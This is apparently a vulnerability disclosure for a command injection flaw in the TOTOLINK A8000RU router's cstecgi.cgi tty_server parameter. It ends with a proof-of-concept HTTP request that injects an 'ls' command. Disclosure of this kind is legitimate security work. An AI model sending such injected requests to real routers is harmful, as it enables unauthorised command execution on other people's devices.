# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview The TOTOLINK A8000RU router contains a command injection vulnerability. Attackers can execute arbitrary operating system commands by crafting malicious requests that exploit the `tty_server` parameter within `cstecgi.cgi`. ## Affected Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu.643_b20200521 ## Remediation No specific remediation is currently provided on the vendor's page. It is recommended to contact the vendor to obtain patches or update the firmware. ## Proof of Concept (PoC) The following is the PoC code for exploiting this vulnerability: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.1 Content-Length: 83 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.1 Referer: http://192.168.6.1/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2177246570212 Connection: keep-alive {"topicUrl":"setAdvancedInfoShow","tty_server":"ls /setAdvancedInfoShow.txt"} ```